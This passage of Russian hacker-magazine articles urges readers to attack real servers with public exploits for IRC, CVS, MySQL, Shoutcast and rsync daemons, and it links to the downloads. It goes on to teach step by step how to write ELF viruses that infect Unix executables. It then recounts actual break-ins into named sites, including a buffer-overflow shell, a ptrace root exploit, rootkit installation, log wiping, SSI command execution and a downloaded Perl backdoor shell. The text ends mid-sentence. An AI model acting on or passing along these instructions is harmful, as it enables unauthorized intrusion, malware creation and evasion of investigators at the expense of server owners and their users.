и не такие важные. Тебе придется их поискать в различных сетях, а после этого нещадно взломать :). 1. IRC. Демоны ircd расположены на многих машинах, а их стойкость к атакам оставляет желать лучшего. Например, недавно был обнаружен баг в популярном hybrid-ircd, который позволяет удаленно убить сервис. Эксплоит публичный (http://addict3d.org/index.php?page=viewarticle&type=security&ID=1416), но перед тем как его скомпилировать, тебе придется исправить ошибки в исходном коде. Этакая защита от скрипткидисов. Рассказывать о том, как править исходник, я не буду – додумаешься сам. Подскажу лишь, что тебе придется перенести объявления переменных из середины процедуры в ее начало. После того как ты скомпилишь эксплоит, натрави его на какую-нибудь жертву (сервер, где установлен гибрид) и жди результата. Долго ждать не придется: непропатченный демон быстро уйдет в core dump. 2. CVS. Ты никогда не мечтал взломать разработчиков софта? Служба CVS создана для синхронизации исходных кодов, поэтому часто ставится на сервера разработчиков какого-либо проекта. Хакеры нашли в демоне склонность к переполнению буфера. Это показал несложный анализ строки, посылаемой серверу. Багоискатели установили, что выделение памяти происходит не под всю строку, а с некоторым запасом. Таким образом, грамотно составленный запрос позволяет повторно обратиться к функции дырявого CVS. С каждым вызовом злоумышленник может перезаписать память произвольными данными, а затем обратиться к ним. Думаю, ты понимаешь, что произойдет, если ты обратишься к коду, открывающему shell и запускающему /bin/bash. Именно это и реализовано в эксплоите. Кстати, он является публичным и давно ждет тебя по адресу www.xakep.ru/post/22450/cvs_linux_freebsd_HEAP.txt. 3. mySQL. База данных всегда была лакомым кусочком для хакеров, ведь в ней можно найти ценную информацию. До последнего времени для демона mysqld вообще не было эксплоитов, но хакеры терпеливо ждали. Наконец, был обнаружен изъян в свежих релизах сервиса. Если хакер пошлет демону хитрый авторизационный пакет, то функция сравнения неверно изымет из него пароль. Собственно, пароль в этом случае будет представлять собой строку нулевой длины, сравнение с которой даст положительный результат. Как следствие, хакер сможет бороздить просторы БД без какой-либо авторизации :). Команда RuSH выпустила скомпилированный mySQL-клиент, который позволяет логиниться к базе без знания пароля. Только вот версия демона должна быть 5.0 либо не превышать 4.1.3. Сливай mysql по адресу www.xakep.ru/post/23047/mysql_exploit.zip. 4. Shoutcast. Я думаю, что многие из читателей слушают внутрисетевое радио в своей локальной сети. Ты когда-нибудь задумывался, что служба Shoutcast, шлющая тебе звук по сетевым проводам, давно стоит на учете у хакеров? Если нет, то пришло время провести небольшой ликбез :). Баг таится в плохом анализе переменных icy-name и icy-desc, которые отвечают за имя и описания передаваемого файла. Никто же не мешает тебе воткнуть, скажем, /bin/sh вместо названия. Эксплоит можно найти по следующей ссылке: http://www1.xakep.ru/post/14351/exploit.txt. Тестируй эксплоит в своих локальных сетях и наводи злободром на различных серверах. 5. Rsync. Частенько вместо FTP админы используют утилиту rsync. Недавние релизы rsync содержат критический баг, который позволит тебе повысить локальные привилегии. А все из-за отсутствия проверки в функции strcpy(), которую можно отыскать в коде socket.c. Баг актуален только для Linux, поэтому если тебе попалась машинка с навороченным ядром и старым rsync – все в твоих руках. Скачивай (www.xakep.ru/post/21234/exploit.txt), компилируй, запускай и наслаждайся ;). Что я слышу: ты не нашел бажного сервиса? Немедленно перечитывай эту статью, а затем нацеливай nmap на неизведанную сетку. И тебе обязательно улыбнется удача! Не забывай, что многие админы подменяют баннер сервиса, пытаясь скрыть его версию. Но ты выведешь его на чистую воду! Тестируй эксплоиты на якобы неуязвимых сервисах, возможно, это простая подделка. И никогда не забывай обращаться за помощью к сайтам по уязвимости – часто там содержатся дельные статьи по взлому. Прими к сведению, что умный взломщик никогда не отчаивается, ибо знает основные слабости сисадмов. Перед тем как что-либо ломать, необходимо подобрать подходящий эксплоит. Часто у новичков возникают вопросы, связанные со скачиванием необходимого файла. Найти ответы поможет TOP5 сайтов, посвященных компьютерной безопасности. 1. www.xakep.ru. А что ты ожидал увидеть на первом месте? :). Сайт журнала сделан очень грамотно, на нем своевременно появляются новые эксплоиты, поэтому, если испытываемый сервис содержит буквально вчерашний баг, топай на хаkер.ru и бери нужный эксплоит. В остальных случаях рекомендую посетить другой сайт, ибо сайт Хакера снабжен не совсем удобным поиском (на запрос SunOS exploit, скрипт вернет ссылку на какую-нибудь статью и т.п.). 2. http://security.nnov.ru. Мой любимый портал по безопасности. У сайта много плюсов: русскоязычность, простой движок, удобный поиск. Достаточно зайти на страницу security.nnov.ru/search/exploits.asp и написать парочку ключевых слов. Ответ в виде ссылки на рабочий эксплоит не заставит себя долго ждать. 3. http://securitylab.ru. Еще один отечественный портал по безопасности. Он имеет плюсы двух предыдущих сайтов. Во-первых, на страницах этого сайта содержится подробное описание бага на русском языке (как на хаkер.ru). Во-вторых, сайт обладает весьма функциональным поисковым скриптом, который найдет уязвимость по любым ключевым словам (как на security.nnov.ru). Наконец, ты можешь подписаться на рассылку этого сайта и всегда быть в курсе новых багов. 4. http://packetstormsecurity.nl. Из англоязычных ресурсов ПакетШторм – самый лучший. Мне нравится то, что весь софт разбит на категории. Это означает, что помимо эксплоитов ты можешь найти бэкдоры, сниферы, логвайперы и многое другое. О поиске я вообще молчу – ответ на стандартный запрос может содержать 30 страниц ссылок, грамотно отсортированных по ревалентности. 5. http://securityfocus.org. Еще один зарубежный ресурс, который существует очень давно. На его страницах ты всегда найдешь новые эксплоиты и описания свежих багов. Лично я обращаюсь к страницам этого портала только за разъяснением той или иной бреши в сервисе. В остальных случаях мне хватает других источников. ProFTPD и Wu-ftpd – самые дырявые сервера. Но несмотря на это администраторы продолжают их использовать. В последнее время в публичных источниках трудно найти хороший эксплоит. О том, как админы подменяют баннеры своих сервисов, ты можешь узнать, прочитав статью в этом номере. Очень часто авторы эксплоитов умышленно допускают ошибки в коде. Чтобы эксплоит функционировал, тебе придется их найти и исправить. Если ты пробил защиту какого-нибудь маршрутизатора, ищи бажные сервисы в локальной сети. Поверь, там их очень много :). Чтобы узнать, какие модули подключены к Web-серверу, отправь простой WWW-запрос. Информация о библиотеках содержится в строке «Server:». Атака брутфорсом очень действенна. Правда, такой взлом может продолжаться несколько часов. Все зависит от пропускной способности. Зараза для никсов / Вирусный разгул под UNIX
Трудно представить себе более простую штуку, чем компьютерный вирус. Тетрис и тот посложнее будет. Однако программирование вирусов вызывает у начинающих большие трудности: как внедрить свой код в файл, какие поля необходимо изменять, а какие лучше не трогать, чем отлаживать вирусы и можно ли использовать языки высокого уровня? Ответы на эти и многие другие вопросы, связанные с созданием вирей под *nix, я постарался дать в этом материале. Первые вирусы, поражающие ELF-файлы (основной формат исполняемых файлов под *nix), были зарегистрированы в конце 90-х, а теперь их популяция насчитывает свыше полусотни представителей (см. коллекцию вирусов на vx.netlux.org). Антивирусная Энциклопедия Евгения Касперского (www.viruslist.com/viruslist.html?id=3166) сообщает лишь о четырнадцати из них, что наводит на серьезные размышления о качестве AVP и добросовестности его создателей. По умолчанию, UNIX запрещает модификацию исполняемых файлов, и успешное распространение вирусов возможно только на уровне root, который либо присваивается зараженному файлу администратором, либо самостоятельно захватывается вирусом через дыры в ядре системы. При правильной политике разграничения доступа и оперативном наложении заплаток угроза вирусного заражения сводится к минимуму. К тому же, времена тотального обмена софтом давно позади. Сейчас уже никто не копирует исполняемые файлы друг у друга, скачивая их напрямую из интернета. Даже если вирус ухитрится поразить центральный сервер, дальше первого поколения его распространение не пойдет и вторичные заражения будут носить единичный характер. Файловые вирусы уже неактуальны, и отсутствие крупных эпидемий наглядно подтверждает этот факт. Тем не менее, накопленные методики внедрения отнюдь не стали бесполезными – без них жизнь троянов и систем удаленного администрирования была бы весьма недолгой. Захватить управление атакуемым компьютером и заполучить права root'а – все равно что бросить зернышко на раскаленный асфальт. Хакер должен укорениться в системе, цепляясь за все исполняемые файлы, что встретятся ему на пути. Но и тогда он не может быть ни в чем уверен, поскольку существует такое понятие, как резервное копирование, позволяющее восстановить пораженную систему, как бы глубоко вирус ни был внедрен. Считается, что вирусы, внедряющиеся в исходные тексты, более живучи, однако в действительности это не так. Исходные тексты требуются небольшому числу пользователей, а девелоперы активно используют системы контроля версий, отслеживающих целостность программного кода и позволяющих делать многоуровневый «откат». Было зарегистрировано несколько попыток заражения исходных текстов операционной системы LINUX и сервера Apache, но все они с треском провалились. То же самое относится и к вирусам, обитающим в интерпретируемых скриптах, таких, как sh, Perl, PHP. В *nix скрипты вездесущи и их модификация по умолчанию разрешена, что создает благоприятные условия для размножения вирусов. Если бы пользователи обменивались скриптами, юниксоидный мир погрузился бы в эпоху ранней MS-DOS, когда новые вирусы выходили едва ли не каждый день, а так вирусы остаются внутри пораженного компьютера, не в силах вырваться наружу. Разумеется, вирус может распространяться и через интернет, но тогда это будет уже не вирус, а червь. Некоторые исследователи считают червей самостоятельными организмами, некоторые – разновидностью вирусов, но, как бы там ни было, черви – тема отдельного разговора. Настоящие хакеры признают только один, максимум, два языка – C и Ассемблер, причем последний из них стремительно утрачивает свои позиции, уступая место Бейсику, Delphi и прочей дряни, на которой элегантный вирус невозможно создать в принципе. А что на счет Си? С эстетической точки зрения, это – чудовищный выбор, и вирусмэйкеры старой школы его не прощают (однако написать код на ассемблере сравнимый с тем, что выдают современные оптимизирующие C-компиляторы вроде Microsoft C Compiler, – дело для новичка не такое уж простое – прим. AvaLANche'а). С другой стороны, будучи низкоуровневым системно-ориентированным языком, Си неплохо походит для разработки вирусов, хотя от знания Ассемблера это все равно не освобождает. Код, генерируемый компилятором, должен: быть полностью перемещаемым (то есть независимым от базового адреса загрузки), не модифицировать никакие ячейки памяти, за исключением стекового пространства, и не использовать стандартные механизмы импорта функций, либо подключая все необходимые библиотеки самостоятельно, либо обращаясь в native-API. Этим требованиям удовлетворяет подавляющее большинство компиляторов, однако от программиста тоже кое-что потребуется. Нельзя объявлять главную функцию программы как main: встретив такую, линкер внедрит в файл start-up код, который вирусу не нужен. Нельзя использовать глобальные или статические переменные: компилятор принудительно размещает их в сегменте данных, но у вирусного кода не может быть сегмента данных! Даже если вирус захочет воспользоваться сегментом пораженной программы, он будет должен, во-первых, самостоятельно определить адрес его «хвоста», а, во-вторых, растянуть сегмент до необходимых размера. Все это тривиально реализуется на Ассемблере, но для компилятора оказывается чересчур сложной задачей. Кроме того, нужно хранить все данные только в локальных переменных, задавая строковые константы в числовом виде. Если написать char x[] = «hello, world», коварный компилятор сбросит «hello, world» в сегмент данных, а затем динамически скопирует его в локальную переменную x. Можно сделать так: x[0]='h', x[1]='e', x[2]='l'… или преобразовать char в int, осуществлять присвоение двойными словами, не забывая о том, что младший байт должен располагаться по наименьшему адресу, что разворачивает строку задом наперед. Нельзя использовать никакие библиотечные функции, если только не уверен в том, что они полностью удовлетворяют всем вышеперечисленным требованиям. Системные функции обычно вызываются через интерфейс native-API, также известный под именем sys-call (в Linux-подобных системах за это отвечает прерывание INT 80h, другие системы обычно используют дальний вызов по селектору семь, смещение ноль). Поскольку системные вызовы варьируются от одной системы к другой, это ограничивает среду обитания вируса и при желании он может прибегнуть к внедрению в таблицу импорта. Откомпилировав полученный файл, мы получим объектник и ругательство компилятора по поводу отсутствия main. Остается только слинковать его в двоичный 32.64-разрядный файл. Естественно, внедрять его в жертву придется вручную, так как системный загрузчик откажется обрабатывать такой файл. Средства анализа, отладки и плагиатаКакой вирусмэйкер удержится от соблазна пополнить свой заплечный рюкзак за чужой счет, выдирая идеи и алгоритмы из тел попавших к нему вирусов? Чаще всего вирусами обмениваются тет-а-тет. Коллекции, найденные в сети, для опытных хакеров не представляют никакого интереса, поскольку набираются из открытых источников, но для начинающих исследователей это – настоящий клад. Если исходные тексты вируса отсутствуют (кривые дизассемблерные листинги, выдаваемые за божественное откровение, мы в расчет не берем), препарировать двоичный код вируса приходится самостоятельно. Тут-то нас и поджидает одна большая проблема. Дизассемблер всех времен и народов IDA PRO не приспособлен для работы с ELF-вирусами, поскольку отказывается загружать файлы с искаженным section header'ом (а большинство вирусов никак не корректируют его после заражения!). Других достойных дизассемблеров, переваривающих ELF-формат, мне обнаружить так и не удалось (а самому писать лень). За неимением лучших идей приходится возиться с HEX-редакторами (например, с тем же HIEW'ом), разбираясь со служебными структурами файла вручную. С отладчиками дело обстоит еще хуже. Фактически под *nix существует всего один более или менее самостоятельный отладчик прикладного уровня – gdb (GNU Debugger), являющийся фундаментом для большинства остальных. Простейшие антиотладочные приемы, нарытые в хакерских мануалах времен первой молодости MS-DOS, пускают gdb в разнос или позволяют вирусу вырваться из-под его контроля, поэтому отлаживать вирусный код на рабочей машине категорически недопустимо и лучше использовать для этой цели эмулятор, такой, как BOCHS. Особенно предпочтительны эмуляторы, содержащие интегрированный отладчик, обойти который вирусу будет очень тяжело, а, в идеале, вообще невозможно (BOCHS такой отладчик содержит). Кстати говоря, совершенно необязательно для исследования ELF-вирусов устанавливать *nix. Эмулятора для этих целей будет более чем достаточно. Структура ELF-файлов (ELF – Execution & Linkable Format) имеет много общих черт с PE (Portable Execution) – основным исполняемым форматом платформы Windows 9x и NT, концепции их заражения весьма схожи, хотя и реализуются различным образом. ELF-файл состоит из ELF-заголовка (ELF-header), описывающего основные особенности поведения файла, заголовка программной таблицы (program header table) и одного или нескольких сегментов (segment), содержащих код, инициализированные/неинициализированные данные и прочие структуры. Листинг Структура исполняемого ELF-файла ELF Header Program header table Segment 1 Segment 2 Section header table (optional) Каждый сегмент представляет собой непрерывную область памяти со своими атрибутами доступа (кодовый сегмент обычно доступен только на исполнение, сегменты данных как минимум доступны на чтение, а при необходимости еще и на запись). Пусть слово «сегмент» не вводит тебя в заблуждение: ничего общего с сегментной моделью памяти тут нет. Большинство 32-битных реализаций UNIX'а помещают все сегменты ELF-файла в один 4-гигабайтный «процессорный» сегмент (т.н. плоская (flat) модель памяти – прим. ред.). В памяти все ELF-сегменты должны выравниваться по величине страницы (на x86, равной 4 Кб), но непосредственно в самом ELF-файле хранятся в невыравненном виде, вплотную прижимаясь друг к другу. Сам ELF-заголовок и program header в первый сегмент не входят (ну, формально не входят), но совместно грузятся в память, при этом начало сегмента следует непосредственно за концом program header'а и по границе страницы не выравнивается! Последним из всех идет заголовок таблицы секций (section header table). Для исполняемых файлов он необязателен и реально используется только в объектниках. Еще в нем нуждаются отладчики – исполняемый файл с изуродованным section header table не отлаживается ни gdb, ни производными от него отладчиками, хотя нормально обрабатывается операционной системой. Сегменты естественным образом делятся на секции. Типичный кодовый сегмент состоит из секций .init (процедуры инициализации), .plt (секция связок), .text (основой код программы) и .finit (процедуры финализации), атрибуты которых описываются в section header'e. Загрузчик операционной системы ничего не знает о секциях, игнорируя их атрибуты и загружая весь сегмент целиком. Тем не менее, для сохранения работоспособности зараженного файла под отладчиком вирус должен корректировать оба заголовка сразу – как program header, так и section header. Основные структуры ELF находятся в файле /usr/include/elf.h. За более подробной информацией обращайся к оригинальной спецификации на ELF-файл «Executable and Linkable Format – Portable Format Specification», составленной, естественно, на английском языке. Простейший и наиболее универсальный метод заражения сводится к поглощению оригинального файла вирусом. Вирус просто дописывает оригинальный файл к своему телу как оверлей, а для передачи управления жертве проделывает обратный процесс: пропускает первые virus_size байт своего тела (что обычно осуществляется функцией seek), считывает оставшийся «хвост» и записывает его во временный файл. Присваивает атрибут исполняемого и делает ему exec, предварительно расщепив материнский процесс функцией fork. После завершения работы файла-жертвы вирус удаляет временный файл с диска. Описанный алгоритм элементарно реализуется на любом языке программирования вплоть до Бейсика и пригоден как для исполняемых файлов, так и для скриптов. Однако ему присущи и недостатки. Он медлителен и неэлегантен, требует возможности записи на диск и прав установки атрибута «исполняемый». Кроме того, появление посторонних файлов на диске не может долго оставаться незамеченным, и участь вируса заранее предрешена. Поэтому большинство вирусов не используют такую методику, а предпочитают внедряться в конец последнего сегмента файла, расширяя его на необходимую величину. Под последним здесь подразумевается последний подходящий сегмент файла, чем, как правило, является сегмент инициализированных данных, за которым следует сегмент неинициализированных данных, занимающий ноль байт дисковой памяти. Конечно, можно внедриться и в него, но это будет выглядеть как-то странно. Приблизительный алгоритм внедрения в конец ELF-файла выглядит следующим образом: 1) вирус открывает файл и, считывая его заголовок, убеждается, что это действительно ELF; 2) просматривая Program Header Table, вирус отыскивает последний сегмент с атрибутом PL_LOAD; 3) найденный сегмент «распахивается» до конца файла и увеличивается на величину, равную размеру тела вируса, что осуществляется путем синхронной коррекции полей p_filez и p_memz; 4) вирус дописывает себя в конец заражаемого файла; 5) для перехвата управления вирус корректирует точку входа в файл (e_entry) либо же внедряет в истинную точку входа jmp на свое тело (впрочем, методика перехвата управления – тема отдельного долгого разговора). Теоретически вирус может внедриться в середину файла, дописав свое тело в конец кодового сегмента и сдвинув все последующие сегменты вниз, однако при этом ему потребуется скорректировать все указатели на ячейки сегмента данных, поскольку после заражения они будут располагаться по совершенно другим адресам. Как вариант, перед передачей управления программе-носителю вирус может «подтянуть» опущенные сегменты вверх, вернув их на свое законное место, но, если файл содержит перемещаемые элементы или прочие служебные структуры данных, вирусу их придется скорректировать тоже, в противном случае системный загрузчик необратимо исказит зараженный файл и тот откажет в работе. Все это слишком сложно для начинающих, а потому вирусы подобного типа не получили большого распространения. Возможно внедриться в область, образованную выравниванием сегментов в памяти. Поскольку границы сегментов всегда выравниваются на величину 4 Кб, между концом кодового сегмента и началом сегмента данных обычно можно наскрести некоторое количество незанятого пространства. Впрочем, никаких гарантий на этот счет у нас нет, а потому для заражения подходят далеко не все файлы. 1) вирус открывает файл и, считывая его заголовок, убеждается, что это действительно ELF; 2) просматривая program header table, вирус находит сегмент с атрибутом PL_LOAD и (PAGE_SIZE % p_filesz) > = virus_size; если же такого сегмента нет, вирус отказывается от заражения; 3) поля p_filez (размер на диске) и p_memsz (размер в памяти) соответствующего сегмента увеличиваются на длину тела вируса; 4) поле p_offset и факультативно sh_offset всех последующих сегментов/секций увеличивается на длину тела вируса; 5) поля e_phoff и факультативно e_shoff ELF-заголовка увеличивается на величину тела вируса; 2) вирус внедряем себя в конец выбранного сегмента; 6) для перехвата управления вирус корректирует точку входа в файл (e_entry), либо же внедряет в истинную точку входа jmp на свое тело. Некоторые вирусы внедряются в область памяти между заголовком и началом первого сегмента (во всяком случае, пытаются это сделать). Однако большинство файлов «приклеивают» свой первый сегмент к заголовку, из-за чего для внедрения просто не остается свободного места. Конкретная структура вирусного кода зависит от фантазии его разработчика и выглядит приблизительно так же, как и в Windows-вирусах. Обычно вначале находится расшифровщик, за ним расположены модуль поиска подходящих жертв, инжектор вирусного кода и процедура передачи управления файлу-носителю. Для большинства ELF-вирусов характерна следующая последовательность системных вызовов: sys_open (mov eax, 05h/int 80h) открывает файл; sys_lseek (mov eax,13h) перемещает файловый указатель на нужное место; old_mmap (mov eax, 5Ah/int 80h) проецирует файл в память; sys_unmap (mov eax, 5Bh/int 80h) удаляет образ из памяти, записывая на диск все изменения, а sys_close (mov eax, 06/int 80h) закрывает сам файл. Техника проецирования (mapping) значительно упрощает работу с файлами большого объема. Теперь уже не нужно выделять буфер, копируя туда файл по кускам, и всю черную работу можно переложить на плечи операционной системы, сосредоточив свои усилия непосредственно на процессе заражения. Правда, при заражении файла протяженностью в несколько гигабайт (например, самораспаковывающегося дистрибутива какого-то программного продукта) вирусу придется либо просматривать файл через «окно», проецируя в 4-гигабайтное адресное пространство различные его части, либо попросту отказаться от заражения, выбрав файл поприличнее. Подавляющее большинство вирусов именно так и поступает. В ближайшее время, по-видимому, следует ожидать значительный рост численности ELF-вирусов, ибо для этого имеются все условия. Всплеск интереса к Linux пошел не на пользу этой операционной системе. В погоне за улучшениями ее превратили в решето, прикрутили «интуитивно понятный» графический интерфейс, но не предупредили пользователей, что прежде чем начать работать с системой, следует перелопатить тысячи страниц технической документации и прочитать хотя бы пару умных книжек, в противном случае зараза не заставит себя долго ждать. Чем больше народу перейдет на *nix, тем больше среди них окажется хакеров и вирусописателей, и тогда с *nix произойдет то же, что в свое время произошло с MS-DOS. Будут ли эти вирусы добродушными или злобными, зависит от тебя. Классический механизм импорта внешних функций из/в ELF-файлов в общем виде выглядит так: на первом этапе вызова импортируемой функции из секции .text вызывается «переходник», который располагается в секции .plt (Procedure Linkable Table) и ссылается в свою очередь на указатель на функцию printf, что расположен в секции .got («Global Offset Tables»), ассоциированной с таблицей строк, содержащей имена вызываемых функций (или их хэши). Ниже приведена схема вызова функции printf утилитой ls, позаимствованной из комплекта поставки Red Hat 5.0. В какое место этой цепочки может внедриться вирус? Ну, прежде всего, он может создать подложную таблицу строк, перехватывая вызовы всех интересующих его функций. Чаще всего заражению подвергается функция printf/fprintf/sprintf (поскольку без нее не обходится практически ни одна программа) и функции файлового ввода/вывода, что автоматически обеспечивает прозрачный механизм поиска новых жертв для заражения. Вирусы-спутники создают специальную библиотеку-перехватчик во всех заражаемых файлах. Поскольку IDA Pro при дизассемблировании ELF-файлов не отображает имя импортируемой библиотеки, заподозрить что-то неладное в этой ситуации нелегко. К счастью, HEX-редакторы еще никто не отменял. Другие же вирусы склонны манипулировать полями глобальной таблицы смещений, переустанавливая их на свое тело. Ссылки по темеWWW bochs Качественный эмулятор ПК с интегрированным отладчиком внутри. Хорошо подходит для экспериментов с вирусами непосредственно на твоей рабочей машине без риска уничтожения информации. Бесплатен, распространяется с исходными текстами. Executable and Linkable Format – Portable Format Specification www.ibiblio.org/pub/historic-linux/ftp-archives/sunsite.unc.edu/Nov-06-1994/GCC/ELF.doc.tar.gz «Родная» спецификация на ELF-формат. Настоятельно рекомендуется к изучению всем вирусописателям, пробующим свои силы на платформе UNIX. The Linux Virus Writing And Detection HOWTO www.creangel.com/papers/writingvirusinlinux.pdf Пошаговое руководство по проектированию и реализации вирусов под LINUX с кучей готовых примеров (на английском языке). «UNIX viruses» от Silvio Cesare http://vx.netlux.org/lib/vsc02.html Статья, описывающая основные принципы функционирования UNIX-вирусов и способы их детектирования (на английском языке). LINUX VIRUSES – ELF FILE FORMAT Marius Van Oers www.nai.com/common/media/vil/pdf/mvanvoers_VB_conf%25202000.pdf&e=747 Блестящий обзор современных UNIX-вирусов и анализ используемых ими методик внедрения в ELF-файлы (на английском языке). Некоторые администраторы полагают, что под *nix вирусов нет. Вирусы же придерживаются иного мнения. Некоторые пользователи в желании почувствовать себя богом подолгу работают в системе на из-под root'а. Вирусы и хакеры любят таких пользователей :). Малочисленность вирусов в мире *nix компенсируется отсутствием нормальных антивирусов. IE и IRC – вот основные источники для пополнения твоей коллекции вирусов. Открытость ELF-формата вкупе с доступностью исходных текстов системного загрузчика значительно упрощает конструирование вирусов под *nix. Создание вирусов не преследуется по закону. По закону преследуется создание вредоносных программ. Из десятка возможных методов внедрения в ELF-файлы вирусописателям удалось освоить лишь два-три, так что на отсутствие творческого простора жаловаться не приходится. *nix– и Windows-вирусы строятся по одним и тем же принципам, причем UNIX-вирусы даже проще. Антивирусная Энциклопедия Касперского содержит большое количество фактических ошибок в описании *nix-вирусов. Многие *nix-вирусы зависят от версии операционной системы, поэтому всякий исследователь вынужден держать на своей машине зоопарк осей. Огромная коллекция *nix-вирусов (и не только) имеется на http://vx.netlux.org. Опасная практика / Примеры реальных взломов
Любая теория должна быть закреплена практикой. Даже теория взлома. Если человек никогда не проверял свои знания на реальных серверах, то его нельзя назвать хакером. Позволь рассказать тебе, как хакеры ломают различные ресурсы. Но помни: повторять их действия опасно – старший брат следит за тобой! Все взломы, представленные в моем небольшом обзоре хакерских этюдов, реальны и происходили в 2003-2004 году. Имена злоумышленников, по понятным причинам, не называю. В этом материале я старался охватить все методы атак. Итак, приступим! Любой игроман знает Никиту. Это не геймерский персонаж, а обычная игровая компания, создающая интересные проекты. Я, например, любил погамать в Parkan, хроника империи. Быть может, ты знаешь эту фирму по другим игрушкам. Это не столь важно. Важно то, что год назад ресурс был взломан неизвестным хакером. Впрочем, взлом выполнялся по тривиальной схеме, даже скрипткиди мог занять место нашего героя и порулить сервером известной компании. Вот как это было. От нечего делать хакер сканировал подсеть, где обычно хостились сервера крупных компаний. Хостером являлся «Ростелеком», у которого клиенты арендовали место в специальном серверном помещении. Хакер предполагал, что заказчики экономили на сисадминах, поэтому их сервера могли содержать дырки в своих демонах. Вскоре он засек примечательный сервер www.nikita.ru, который располагался в ростелекомовской подсети. Внимание хакера привлекло отсутствие фаервола и многочисленные сервисы, крутящиеся на этой машине. Понятно, чем больше сервисов, тем вероятность наличия бага, приводящего к удаленному взлому, выше. Атака происходила как раз в ту пору, когда в публичных источниках появился эксплоит 7350fun, позволяющий поиметь www-права через дырявый mod_php. Контент www.nikita.ru передавался браузеру через PHP-скрипты, поэтому стоило проверить версию модуля – быть может, хозяин машины даже не знал о баге. Чтобы выполнить подобную проверку, достаточно прителнетиться на 80 порт и отправить стандартный HTTP-запрос, например, такой: HEAD / HTTP/1.0. Хакер проделал эту несложную работу, затем пару раз нажал Enter и проанализировал поле Server. Как раз в нем говорилось, что версия mod_php была очень древней – 4.0.6. Впрочем, старый релиз еще не сулил об успешном взломе. Например, если сервер крутится на FreeBSD, mod_php вообще неуязвим. Но попытка не пытка, поэтому сетевой партизан натравил эксплоит на сервер. Строка запуска была следующей: ./7350fun www.nikita.ru /sms/privet.php Бинарник требовал последний параметр в виде пути к полноценному скрипту. Неважно какому. Сценарий мог обрабатываться и perl-интерпретатором, главное, чтобы скрипт понимал входные опции. После запуска эксплоит начал формировать смертельный запрос, приводящий к переполнению буфера, и отправлять его на сервер. Надо сказать, что это довольно длительный процесс (время зависит от ширины канала между хакерским хостом и уязвимым сервером). Пока хакер ощупывал другие демоны, эксплоит блестяще справился с задачей, предоставив злоумышленнику шелл с правами nobody. Вот незадача – хакер хотел привилегий рута, а получил какого-то nobody. Права нужно было как-то поднимать. Выполнив команду cat /etc/*release, взломщик узнал, что на машине крутится RedHat 7.3. Затем последовала команда uname -a, которая показала версию ядра. Кернел 2.4.24 (именно это ядрышко находилось в системе) был уязвим. Примерно год назад хакерская группа isec выпустила знаменитый эксплоит для ядерной функции ptrace. Сплойт работал как надо и даже не требовал наличия псевдотерминала (как это делали его предшественники). Но хакера поджидал неожиданный облом. На сервере не было программы wget, которая бы позволила нашему герою слить эксплоит на взломанный шелл. Впрочем, взломщик быстро решил эту проблему: залил файл прямо через консоль с помощью нехитрой команды cat > isec.c << EOF. После отправки текста с помощью сочетаний ctrl+c, ctrl+v хакер набрал магическое слово EOF и получил приглашение bash. Оставалось только скомпилировать и запустить эксплоит. К счастью нашего героя, на кернел не было наложено патчей, поэтому сетевой партизан без проблем получил рутовые права. После взлома хакер должен позаботиться о собственной безопасности и вычистить все логи. В бинарных журналах наш герой не наследил, поэтому ему нужно было подтереть /var/log/messages и еще парочку текстовых логов, а также не забыть о WWW-журнале access_log (туда здорово наследил эксплоит от TESO). Но прежде чем манипулировать логами взломщик поставил на сервер руткит. В то время в узких хакерских кругах юзался комплект shv4. Он до сих пор приватный, поэтому ссылку я не дам :). Чтобы установить кит, достаточно выполнить команду «./setup пароль порт», и на указанном порту откроется поддельный демон sshd. Как ты догадался, пароль для соединения взломщик передал скрипту setup. Напоследок сетевой партизан написал unset HISTFILE, чтобы стереть лог команд, и покинул консоль. Прицепившись на фейковый демон, хакер стер компрометирующие журналы, а также вычистил /var/log/www/access_log от странных обращений к сценарию index.php. Теперь он полностью поработил сервер Никиты и мог делать с ним все что угодно :). Надо сказать, что хакер очень долго развлекался с этим серваком – доступ прикрыли только после полной переустановки системы. Ни один провайдер не застрахован от уязвимостей, и российский в том числе. Несмотря на свежие версии сервисов некоему взломщику удалось порулить сервером крупного московского провайдера. Удаленная атака была нацелена на бажный WWW-проект, в результате чего злоумышленник получил небольшие права на машине. Все началось с того, что нашего героя заинтересовал проект wtboard. Этот форум выпускается более пяти лет и заслужил доверие многих. Хакер поставил свежую версию борды у себя на машине и начал над ней издеваться – искать какие-нибудь баги, тестировать на различные WWW-атаки и т.п. Сперва у злоумышленника ничего не получалось, но вскоре ему улыбнулась удача. Наш герой нашел бажную процедуру, которая позволяла интерпретировать значения системных переменных. Скажем, захочется хакеру вставить в CGI-поток переменную data (она является системной), и результат будет роковым – изменится значение $data, что приведет к ошибке при открытии конфига. Это в лучшем случае :). В худшем хакер просто войдет в admin-зону форума без знания пароля. Я укажу два небольших запроса, выполнив которые хакер оказался в админке форума. Налицо обычная подмена, в результате которой будет создан журнал /tmp/wtwrong.txt. Обращение к нему повлечет за собой считывание информации из лога и доступу к админке. Удостоверившись, что баг работает, хакер полез на google.com и отправил запрос wtboard. В ответ на поисковой реквест взломщик получил множество ссылок. Одна из них вела на страницу провайдера из Москвы. Это очень заинтересовало нашего героя, и вот он проник на страницу администрирования. Обратившись к разделу темплейт-кода, злоумышленник вбил SSI-запрос, выполняющий системную команду. <!-exec cmd="uname -a"-> . Но взломщика не интересовал файл с аккаунтами. Он закачал wget’ом простой perl-бэкдор и запустил. В результате на порту 37900 открылся шелл, стартующий /bin/sh в интерактивном режиме. Так сетевой партизан получил WWW-права. К сожалению, добиться рутовых привилегий оказалось непросто – ядро было пропатчено фиксом от grsecurity, а система практически не содержала уязвимых сервисов (оно и понятно: дистрибутив носил гордое имя SlackWare :)). За абсолютные права хакер готов был пойти на любые извращения. Он решил попробовать один из методов локальной атаки, который заключается в поиске важных данных в системных логах. Сперва взломщик пропарсил /var/log/messages, однако ничего интересного он не обнаружил. Не думай, что наш герой надеялся увидеть там пароли в чистом виде. Он пролистал messages, чтобы найти информацию о каких-нибудь интересных демонах. Последние любят писать аккаунты в свои журналы. К сожалению, поиск не увенчался успехом, поэтому взломщик перешел в каталог /usr/www/logs и открыл редактором документ access_log. Дело в том, что на провайдерском сервере крутился биллинг, позволяющий просмотреть состояние счета. Все бы ничего, да вот только соединение инициировалось по небезопасному протоколу, а в качестве метода передачи использовался GET. Все условия для отлова паролей. Кстати, обычные пользователи в биллинг не пускались – скрипт анализировал IP-адрес, а лишь затем принимал решение о допуске, но даже это не мешало паролям храниться в текстовом журнале. Так хакер обнаружил пароль от логина alpha. Этот юзер являлся системным и имел рабочий 